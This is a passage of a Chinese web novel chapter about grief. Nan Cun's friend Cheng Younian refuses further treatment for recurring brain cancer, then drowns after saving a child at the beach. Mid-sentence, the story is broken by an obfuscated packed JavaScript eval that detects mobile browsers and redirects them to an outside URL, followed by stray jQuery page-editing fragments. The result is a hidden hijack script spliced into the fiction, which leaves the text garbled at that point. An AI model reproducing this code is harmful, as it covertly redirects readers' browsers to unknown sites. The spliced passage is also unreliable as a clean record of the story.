2018年，6月26日，8:02am，北川，晴。


    南存的身体一直很好，没怎么进过医院。


    上一次闻到这样浓郁的来苏水味道，是在四年前。


    那一次，外婆被一块薄薄的白布盖了起来，从此消失在了他的生命里。


    所以南存讨厌医院，也讨厌医院的气味。


    他想，如果人能不生病就好了。


    如果所有重要的人都能长命百岁，就好了。


    程裕前一天还在外省。


    程宥年高考分数不错，所以他回了趟老家，摆了顿酒席庆祝，算是感谢亲人们多年来的照顾和帮衬。


    接到消息后，他第一时间就赶了回来。


    坐在医生办公室的时候，那个男人好像一瞬间苍老了几十岁。


    “胶质瘤复发……”


    “情况不是很乐观……”


    “现在不建议手术了，可以试试保守治疗观察一段时间，之后再看……”


    胶质瘤，俗称脑癌。


    南存坐在医生办公室门口，已经把相关词条刷了个干净。


    所以说，命运就是这样不公平。


    热爱生活的人总是被生死凉薄对待。


    麻木不仁的人刚抓住一点点鲜活的念想，就要被人用力掰开手指，抢走手心里那唯一一点珍视的东西。


    以前是，现在也是。


    “哎呀，阿存，你开心点嘛，怎么就又不高兴了。”


    程宥年穿着病号服，鼻子上戴着输氧管，各种检查让他的脸色变得苍白不少，但他竟也还笑得出来。


    见南存一直低着头板着脸，哄也哄不好，程宥年从旁边的抽屉里拿出了一只玻璃罐。


    “送你，毕业礼物。”


    闻言，南存稍稍抬起眼。


    程宥年递来的是只透明玻璃罐，里面装着满满一罐彩色纸鹤。


    “笑一笑，别不开心。”


    南存抬手接过。


    玻璃罐上还带着程宥年的温度。


    “笑不出来。”


    “那可不行，你还得陪我出院呢。出院这么好的事情，你要还板着脸，那我可不乐意。”


    南存没听懂程宥年的话。


    他诧异地抬起头。


    程宥年在医院里才住了三四天，怎么……


    “我不打算治了，阿存。”


    “不行。”南存其实是没有资格和立场说这句话的。


    但无论多不合适，他也还是要说：


    “要治。”


    “治不好了，也没钱治了。就算费劲把我的脑袋打开再治好我一次，以后也还是很容易复发，情况只会一次比一次更坏。”


    程宥年笑意微敛，语气比以往都要认真。


    他没有一个字是在开玩笑，也不是在和南存商量。


    “上一次治疗已经欠下好多债了，这样把命拖着，也没什么意义。等彻底治不好的那天，我死了，钱就得我爸一个人去还。他年纪也不小了，我不能继续拖累他。”


    “其实早晚都会有这么一天的，就是有一点点遗憾，没机会上大学了。”


    “化疗很难受的，还会掉头发，反正时间不长了，我比较臭美，我想走得体面一点。”


    “其实我本来还想把有用的器官捐一捐来着，但医生说我这种病不建议捐赠，那就没办法了，只好乖乖去睡我的坟包包。”


    “离别是很正常的事啊，阿存。没有人会永远陪着某个人，大家都得学会分别。我的旅程要结束了，但你还有自己的路要走，以后，你会遇上其他同行人的。”


    “习惯告别其实不算难，阿存，我们还有时间。”


    “我一时半会儿也还死不了，这个暑假，你陪我过，怎么样？我们到处转一转玩一玩看一看，电影要结束了，我的好朋友，你总得给我留恋美好些的回忆吧？”


    “别哭丧着脸了，笑一笑，阿存。”


    “别哭，阿存。”


    “我们慢慢来。”


    离别是一件很寻常的事。


    人生在世，每一秒都在离别。


    和风离别，和流逝的时间离别，和擦肩而过、说不定此生不会再见的陌生人离别。


    而人要做的，就是花费漫长的时间，一点点学会接受。


    学会体面地、从容地、向每个离开的人告别。


    程裕帮程宥年办了出院。


    南存答应他，要陪他好好过完这个暑假。


    两个人身上没什么钱，去不了太远的地方，所以，这和以往每个普通的假期并没有什么区别。


    待在小公园里买五毛钱两根的棒冰一人一根吃到下午。


    在夕阳西下时沿着街道漫无目的地散步。


    坐很久公交车，晃悠悠到市中心的广场，像小孩一样在喷泉里跑来跑去，玩得满身湿漉漉。


    他们去的最远的地方是海边。


    那片海在市郊，去的人不多，但风景不错。


    那天天气很好，天空湛蓝，抬头找不到一片云。


    南存坐在沙滩上，感受着迎面而来的海风，微微眯起了眼睛。


    程宥年在沙滩上堆城堡，工具是问小朋友借来的塑料铲子，一个人玩得很开心。


    堆好了，再兴冲冲地跟南存介绍哪里是哪里。


    程宥年的城堡有很多房间，每一个都有自己的用处。


    父母住的、自己住的、放游戏的、放篮球的。


    还有留给南存的。


    “我也有房间啊？”


    南存抬眸看向程宥年。


    “当然了。”程宥年扬唇笑了，对上南存视线的时候，却不知怎的，微微一怔。


    不过很快便回神，将视线移去了另一个方向。


    南存顺着他目光看过去，在不远处的礁石上看见了一个套着游泳圈的小男孩。


    “小朋友！不要在那玩，很危险！马上要涨潮了，快下来！”


    提醒完，程宥年把手里的塑料铲还给了旁边的小孩，自己拍拍裤子站起身来：


    “走吧，听说附近有个小吃街，到饭点了，咱们去看看？今天所有花销都有程老板买单，你敞开了点。”


    “这么阔气？”


    南存轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099225|163763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻抿了抿唇角，最后看了眼程宥年堆的城堡，正想和他一起离开，却听不远处有女人焦急的呼喊。


    “球球，球球！哎您好，请问您看见我儿子了吗？”


    南存愣了一下，似有所感般，往礁石的方向看了一眼。


    刚才还在石头上玩耍的小男孩没了踪影，只有海面上飘着一个花花绿绿的游泳圈。


    “有小孩在海里！！”


    又有人尖叫。


    南存看见了，海面里有双小手在努力扑腾。


    程宥年也看见了。


    于是，他甚至连一句话都没来得及说，立马朝那个方向奔去。


    他赶在所有人反应过来之前，脱了上衣冲进海里。


    一片混乱。


    南存跟过去，看见程宥年捞着游泳圈游向那个小孩。


    沙滩上人不多，大部分都是小孩子。


    这边的乱声引起了其他人的注意，大家都在往近靠。


    可是来不及。


    涨潮了，海浪的力道好大，人的挣扎显得那样微弱。


    南存不算很擅长游泳，但他还是赶在其他人之前，第一个靠近了程宥年。


    程宥年已经把游泳圈套在了小孩身上，他把游泳圈推向南存：


    “来，阿存。”


    入海帮忙的人也游近了，这该是一场有惊无险的意外。


    可是浪好大，水好凉。


    南存感觉到程宥年用力握了一下他的手臂，声音很轻，但南存听清了。


    “要好好活着。”


    “好好活着……”


    那一瞬间，剧烈的不安感袭来，南存想转头去看程宥年，想问他这话是什么意思。


    可迎面而来的，是足以将人淹没的海浪。


    耳边的声音很多、很杂。


    好像很清晰，又好像被海水分隔去千里之外。


    南存抓着游泳圈，护着里面的小孩，艰难地浮出海面。


    可目之所及已经没了另一个人的影子。


    “程宥年……”


    更多人靠近，七手八脚地接过孩子，又伸手来拉南存。


    南存却用力甩开了那人的手。


    “程宥年！！！”


    大海好冷，好大，好深。


    原来人类的力量那么微弱，个人的悲欢，也那样不值一提。


    南存找不见程宥年了。


    明明刚才就在身边，明明前一秒还能感受到他的温度。


    可是为什么，就那样轻易地走散了。


    海浪拍打着身体，人好像落在水中的一片枯叶，不断地浮沉、摇晃。


    一股巨力袭来，南存不受控制地撞在了礁石之上。


    恍惚中，他向某个方向伸出了手。


    有人靠近，紧紧握住了他。


    我还没有准备好，程宥年。


    所以你不能走。


    说好慢慢来的，我们明明还没有到告别的那一天。


    暑假没有结束，我还有话没有说完。


    可是怎么办啊。


    程宥年。


    我找不到你了。